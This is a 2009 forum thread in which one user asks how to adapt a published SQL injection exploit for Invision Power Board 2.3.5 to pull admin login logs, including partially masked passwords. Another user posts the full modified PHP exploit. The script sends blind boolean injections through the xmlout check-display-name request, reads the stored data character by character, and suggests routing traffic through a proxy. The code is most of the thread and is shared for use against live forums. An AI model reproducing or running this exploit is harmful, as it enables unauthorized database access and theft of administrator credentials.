 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 54
 Members: 0
 Total: 54
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
modifyng injection exploit to get data from different tables |
|
 Posted: Mon Sep 21, 2009 5:08 am |
 |
|
| nuker |
| Active user |
 |
|
| Joined: Aug 16, 2009 |
| Posts: 39 |
|
|
|
 |
|
 |
|
Hi,
i have been trying to modify waraxes exploit in order to get data from another tables, specifically from ibf_admin_login_logs but i always get an error saying its the wrong prefix. Basically what i did is to copy the modification model from a exploit that was modified to get the username and basically its just question of changing the name of the table "members" to "ibf_admin_login_logs" in thisc ase but i cant get it to work. Can smebody please help me with this?
Thank you! |
|
|
|
|
|
|
|
|
| Posted: Mon Sep 21, 2009 7:41 pm |
|
|
| nuker |
| Active user |
|
|
| Joined: Aug 16, 2009 |
| Posts: 39 |
|
|
|
|
|
|
|
i got it to work finally. Now i can fetch the admin logins details which includes the password although partially hidden you have at least how many characters has and which character is the last one. However, the only problem is that it cant tell apart symbols so instead of displaying ",% or whatever symbol it shows an A or a 0 which makes it a little confusing to read. If somebody can tell me how can i modify the code so it reads every character properly i would really appreciate it.
Thanks. |
|
|
|
|
| Posted: Thu Oct 08, 2009 11:44 pm |
|
|
| RG007145 |
| Active user |
|
|
| Joined: May 04, 2008 |
| Posts: 27 |
|
|
|
|
|
|
|
Wow...I didn't even know it stored passwords like that.
I'll get on that for you and come up with a solution. |
|
|
|
|
|
|
|
|
| Posted: Fri Oct 09, 2009 1:51 am |
|
|
| RG007145 |
| Active user |
|
|
| Joined: May 04, 2008 |
| Posts: 27 |
|
|
|
|
|
|
|
This will work, but you need to scroll down to $i = 370 and manually change the 370 to whatever location you think the mask starts at.
I am working on automating that at the moment, till then, you might want to try increments of 100 till you start getting blanks, then retrace in decrements of 10 till you're back in the field, then just wait for it to reveal teh pass.
Good luck.
| Code: |
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.2
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 24. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. can work with multiple ID-s
// 6. log format compatible with passwordspro
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/forum/';
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
@set_time_limit(0);
}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("Target: $url");
echo "Checking for good logs... \n";
if(!test_target_id())
{
echo "No good logs found, sorry ...\n";
continue;
}
echo "Good logs exist! \n";
$hash = get_hash();
$line = "mask:$hash";
add_line($line);
xecho("\n------------------------------------------\n");
xecho("Password Mask: $hash\n");
xecho("\n------------------------------------------\n");
add_line("------------------------------------------");
xecho("\nWaraxe's script...modified by RG007145 xD \n");
die("See ya! \n");
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;
$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'notfound')
{
die('Target is patched? Exiting ...');
}
if($buff !== 'found')
{
die('Invalid response, target URL not valid? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function test_target_id()
{
global $url, $prefix;
$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'admin_login_logs WHERE admin_success=1 AND admin_id=1';
return test_condition($post);
}
///////////////////////////////////////////////////////////////////////
function get_hash()
{
$len = 10000;
$out = '';
xecho("Finding mask ...\n");
for($i = 370; $i < $len; $i ++)
{
$ch = get_hashchar($i);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current mask: $out \n");
}
xecho("\nFinal password mask for admin: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos)
{
global $prefix;
$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_success=1 AND admin_id=1 AND ORD(SUBSTR(admin_post_details,$pos,1))";
// First let's determine, if it's number or letter
$post = $pattern . '%253e64';
$letter = test_condition($post);
if($letter)
{
$min = 65;
$max = 126;
xecho("Char to find is [A-z] or symbols - [,\\,],^,_,`,{,},~,|\n");
}
else
{
$min = 32;
$max = 64;
xecho("Char to find is [0-9] and lots of tasty symbols\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
$bret = false;
$maxtry = 10;
$try = 1;
$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
$post = sprintf($pattern, $p);
while(1)
{
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'found')
{
$bret = true;
break;
}
elseif($buff === 'notfound')
{
break;
}
elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}
if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
//////////////////////////////////////////////////////////////////////
?>
|
|
|
|
|
|
|
|
|
|
| Posted: Wed Oct 21, 2009 3:47 pm |
|
|
| nuker |
| Active user |
|
|
| Joined: Aug 16, 2009 |
| Posts: 39 |
|
|
|
|
|
|
|
Ｈｉ，
sorry, i hadnt seen your reply until now. Actually i had managed to figure it the code myself and now it works splendidly. Its a shame only the last character of the password is shown as it is and the rest is masked but at leasts it lets you know also how many characters does the password have. Thank you anyway. |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
